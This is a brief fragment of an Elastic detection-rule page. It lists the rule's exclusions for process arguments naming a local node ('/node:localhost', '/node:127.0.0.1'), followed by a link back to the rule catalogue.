The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.argswildcard*/node:localhost*, */node:"127.0.0.1"*, /node:127.0.0.1excludes:process.args

Back to all Elastic rules